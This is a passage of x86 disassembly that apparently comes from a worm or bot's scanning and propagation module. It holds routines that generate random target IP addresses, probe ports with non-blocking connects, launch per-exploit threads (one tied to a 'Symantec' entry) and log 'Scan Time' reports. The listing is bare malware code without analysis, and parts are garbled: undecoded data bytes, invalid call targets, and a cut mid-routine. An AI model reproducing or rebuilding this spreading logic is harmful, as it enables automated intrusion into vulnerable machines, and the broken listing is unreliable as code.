		call	sub_409A73
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B71A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B786	proc near		; CODE XREF: sub_401ACD+2ACAp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CB394
		call	sub_41A88C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CE3A4
		push	offset unk_431F04
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		add	esp, 28h
		leave
		retn
sub_40B786	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7DB	proc near		; CODE XREF: sub_401ACD+2AB4p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431F50
		push	eax
		call	sub_41B886
		cmp	dword_431B00, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B847
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40B810:				; CODE XREF: sub_40B7DB+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431F40
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B810
		pop	esi


loc_40B847:				; CODE XREF: sub_40B7DB+2Dj
		push	dword_4CB394
		call	sub_41A88C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4151AD
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40B7DB	endp

; ---------------------------------------------------------------------------
word_40B8A2	dw 8B55h		; DATA XREF: sub_401ACD+30E1o
		dd 0F0EC81ECh, 8B000003h, 56530845h, 8B4B6A57h,	0BD8D59F0h
		dd 0FFFFFECCh, 80C7A5F3h, 128h,	1, 0FECC858Dh, 0FF50FFFFh
		dd 4CB69415h, 89FF3300h, 3D39F845h, 431B00h, 89FC7D89h
		dd 840F087Dh, 118h, 431B00BBh
		db 0, 8Bh, 0C3h
; ---------------------------------------------------------------------------


loc_40B8F3:				; CODE XREF: ___:0040B9FEj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C088
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B9F4
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431FA0
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A73
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AD
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40B98F
		lea	eax, [ebp-124h]


loc_40B98F:				; CODE XREF: ___:0040B987j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41B886
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40B9F4:				; CODE XREF: ___:0040B906j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40B8F3
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431F6C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A73
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AD
		push	dword ptr [ebp-18h]
		call	sub_40B413
		add	esp, 2Ch
		push	edi
; ---------------------------------------------------------------------------
		db 0E8h, 0AAh, 45h
		db 2Dh,	2, 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA57	proc near		; CODE XREF: sub_401ACD+244Fp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_40BA93
		mov	eax, [ebp+arg_C]
		push	dword_4CB7A0[eax*8]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431FF0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40BAA6
; ---------------------------------------------------------------------------


loc_40BA93:				; CODE XREF: sub_40BA57+13j
		lea	eax, [ebp+var_200]
		push	offset unk_431FD0
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40BAA6:				; CODE XREF: sub_40BA57+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		add	esp, 18h
		leave
		retn
sub_40BA57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BACE	proc near		; CODE XREF: sub_40C125+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BFA0
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431B0C[eax], ebx
		jz	loc_40BFA0
		push	5
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_40BD55
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CD85C
		push	104h
		push	esi
		push	ebx
		mov	dword_4CDA6C, eax
		mov	dword_4CDA68, ebx
		call	near ptr 2670000h
		nop
		mov	edi, offset byte_42910C
		push	103h
		push	edi
		push	offset dword_4CD960
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD858, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CDAF0, eax
		jnz	short loc_40BB81
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDA70
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDAF4, 1
		jmp	short loc_40BB9B
; ---------------------------------------------------------------------------


loc_40BB81:				; CODE XREF: sub_40BACE+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDA70
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDAF4, ebx


loc_40BB9B:				; CODE XREF: sub_40BACE+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDA6C
		push	offset unk_42C558
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	dword_4CDA64, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD858
		push	offset byte_411797
		push	ebx
		push	ebx
		nop
		call	near ptr 2680683h
		mov	ecx, dword_4CDA64
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40BC09


loc_40BBF7:				; CODE XREF: sub_40BACE+139j
		cmp	dword_4CDAF8, ebx
		jnz	short loc_40BC24
		push	32h
		call	near ptr 2680646h
		nop
		jmp	short loc_40BBF7
; ---------------------------------------------------------------------------


loc_40BC09:				; CODE XREF: sub_40BACE+127j
		nop
		call	near ptr 2680F9Dh
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_432110
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BC24:				; CODE XREF: sub_40BACE+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AD
		mov	eax, dword_4CB390
		mov	esi, offset dword_4CDB04
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CDD14, eax
		mov	dword_4CDD10, ebx
		nop
		call	near ptr 2670000h
		push	103h
		push	edi
		push	offset dword_4CDC08
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDB00, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CDD98, eax
		push	7Fh
		jnz	short loc_40BCA5
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDD18
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDD9C, 1
		jmp	short loc_40BCBF
; ---------------------------------------------------------------------------


loc_40BCA5:				; CODE XREF: sub_40BACE+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDD18
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDD9C, ebx


loc_40BCBF:				; CODE XREF: sub_40BACE+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDD14
		push	offset unk_4320DC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	dword_4CDD0C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDB00
		push	offset word_40E992
		push	ebx
		push	ebx
		call	near ptr 2680683h
		nop
		mov	ecx, dword_4CDD0C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40BD2D


loc_40BD1B:				; CODE XREF: sub_40BACE+25Dj
		cmp	dword_4CDDA0, ebx
		jnz	short loc_40BD48
		push	32h
		nop
		call	near ptr 2680646h
		jmp	short loc_40BD1B
; ---------------------------------------------------------------------------


loc_40BD2D:				; CODE XREF: sub_40BACE+24Bj
		nop
		call	near ptr 2680F9Dh
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4320A8
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BD48:				; CODE XREF: sub_40BACE+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40BD55:				; CODE XREF: sub_40BACE+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_431B14[ecx], ebx
		jz	loc_40BE7E
		push	7
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_40BE78
		mov	eax, dword_4CE39C
		cmp	[ebp+arg_90], bl
		mov	dword_4CD7C4, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CD7B8, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CD7C0, ebx
		mov	dword_4CD848, eax
		push	7Fh
		jnz	short loc_40BDC9
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD7C8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD84C, 1
		jmp	short loc_40BDE3
; ---------------------------------------------------------------------------


loc_40BDC9:				; CODE XREF: sub_40BACE+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD7C8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD84C, ebx


loc_40BDE3:				; CODE XREF: sub_40BACE+2F9j
		push	dword_4CD7C4
		lea	eax, [ebp+var_204]
		push	offset unk_432078
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	dword_4CD7BC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD7B8
		push	offset dword_40E6F0
		push	ebx
		push	ebx
		nop
		call	near ptr 2680683h
		mov	ecx, dword_4CD7BC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40BE50


loc_40BE3E:				; CODE XREF: sub_40BACE+380j
		cmp	dword_4CD850, ebx
		jnz	short loc_40BE6B
		push	32h
		nop
		call	near ptr 2680646h
		jmp	short loc_40BE3E
; ---------------------------------------------------------------------------


loc_40BE50:				; CODE XREF: sub_40BACE+36Ej
		call	near ptr 2680F9Dh
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_432040
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BE6B:				; CODE XREF: sub_40BACE+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40BE78:				; CODE XREF: sub_40BACE+2A8j
		mov	eax, [ebp+arg_130]


loc_40BE7E:				; CODE XREF: sub_40BACE+298j
		shl	eax, 6
		cmp	dword_431B10[eax], ebx
		jz	loc_40BFA0
		push	3
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_40BFA0
		mov	esi, offset dword_4CE034
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2670000h
		push	5Ch
		push	esi
		call	sub_41BE40
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BEBF
		mov	[eax], bl


loc_40BEBF:				; CODE XREF: sub_40BACE+3EDj
		mov	eax, dword_42907C
		mov	dword_4CE14C, ebx
		mov	dword_4CE138, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDDAC
		call	sub_41B886
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CDDA8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CE138
		mov	dword_4CE144, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CE148, ecx
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42C4E0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	dword_4CE140, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDDA8
		push	offset sub_40F0D6
		push	ebx
		push	ebx
		nop
		call	near ptr 2680683h
		mov	ecx, dword_4CE140
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40BF78


loc_40BF66:				; CODE XREF: sub_40BACE+4A8j
		cmp	dword_4CE154, ebx
		jnz	short loc_40BF93
		push	32h
		call	near ptr 2680646h
		nop
		jmp	short loc_40BF66
; ---------------------------------------------------------------------------


loc_40BF78:				; CODE XREF: sub_40BACE+496j
		nop
		call	near ptr 2680F9Dh
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_43200C
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BF93:				; CODE XREF: sub_40BACE+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40BFA0:				; CODE XREF: sub_40BACE+14j
					; sub_40BACE+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BACE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFA4	proc near		; CODE XREF: sub_40C125:loc_40C196p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CB7A0h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CB57C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CB650
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BFA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFEC	proc near		; CODE XREF: sub_40C125+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41AFE0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C014
		xor	eax, eax
		jmp	short loc_40C085
; ---------------------------------------------------------------------------


loc_40C014:				; CODE XREF: sub_40BFEC+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41C645
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C041
		call	sub_41B8E2
		mov	[ebp+var_C], eax


loc_40C041:				; CODE XREF: sub_40BFEC+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C04E
		call	sub_41B8E2
		mov	[ebp+var_8], eax


loc_40C04E:				; CODE XREF: sub_40BFEC+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C05B
		call	sub_41B8E2
		mov	[ebp+var_4], eax


loc_40C05B:				; CODE XREF: sub_40BFEC+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C067
		call	sub_41B8E2


loc_40C067:				; CODE XREF: sub_40BFEC+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CB7A0[ecx*8], eax


loc_40C085:				; CODE XREF: sub_40BFEC+26j
		pop	esi
		leave
		retn
sub_40BFEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C088	proc near		; CODE XREF: ___:0040B8FBp
					; sub_40C125+BBp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CB6D4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C0B1
		xor	eax, eax
		jmp	short loc_40C120
; ---------------------------------------------------------------------------


loc_40C0B1:				; CODE XREF: sub_40C088+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CB654
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB6F0
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5FC
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CB63C
		push	esi
		mov	edi, eax
		call	dword_4CB6EC
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C120:				; CODE XREF: sub_40C088+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C088	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C125	proc near		; DATA XREF: sub_40C125+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 2690E09h
		push	eax
		call	sub_41B8D8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C16C:				; CODE XREF: sub_40C125+204j
		mov	eax, dword_43E594[ebx]
		cmp	dword_4CB7A4[eax*8], 0
		jz	loc_40C32E
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C196
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40BFEC
		pop	ecx
		jmp	short loc_40C19B
; ---------------------------------------------------------------------------


loc_40C196:				; CODE XREF: sub_40C125+60j
		call	sub_40BFA4


loc_40C19B:				; CODE XREF: sub_40C125+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43E594[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_43216C
		push	eax
		call	sub_41B886
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43E390[ebx]
		push	eax
		call	sub_41B886
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C088
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C31E
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C272
		push	offset dword_4CD7A0
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_432144
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C254
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C248
		lea	eax, [ebp+var_140]


loc_40C248:				; CODE XREF: sub_40C125+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409A73
		add	esp, 14h


loc_40C254:				; CODE XREF: sub_40C125+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4151AD
		mov	[esp+29Ch+var_29C], offset dword_4CD7A0
		nop
		call	near ptr 77F7E300h
		jmp	loc_40C31E
; ---------------------------------------------------------------------------


loc_40C272:				; CODE XREF: sub_40C125+D0j
		push	edi
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C2B7
		lea	eax, [ebp+var_140]


loc_40C2B7:				; CODE XREF: sub_40C125+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_431B04[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C31E:				; CODE XREF: sub_40C125+C6j
					; sub_40C125+148j
		push	7D0h
		nop
		call	near ptr 2680646h
		jmp	loc_40C16C
; ---------------------------------------------------------------------------


loc_40C32E:				; CODE XREF: sub_40C125+55j
		push	esi
		call	sub_40B413
		pop	ecx
		push	0
		nop
		call	near ptr 26E0000h


loc_40C33D:				; DATA XREF: sub_401ACD+1F82o
					; sub_401ACD+5C49o
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CB694
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CB7A0[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BACE
		push	0Bh
		call	sub_40B33F
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C40B
		mov	esi, offset dword_4CD7A0
		push	esi
		nop
		call	near ptr 26E0680h
		push	80000400h
		push	esi
		nop
		call	near ptr 26E046Ch
		test	eax, eax
		jnz	short loc_40C40B
		lea	eax, [ebp+var_1CC]
		push	offset unk_432250
		push	eax
		call	sub_41B886
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C3F5
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A73
		add	esp, 14h


loc_40C3F5:				; CODE XREF: sub_40C125+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AD
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C40B:				; CODE XREF: sub_40C125+27Bj
					; sub_40C125+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427078
		mov	edi, ebx
		mov	dword_4CB7A4[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C4D8


loc_40C429:				; CODE XREF: sub_40C125+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_43221C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
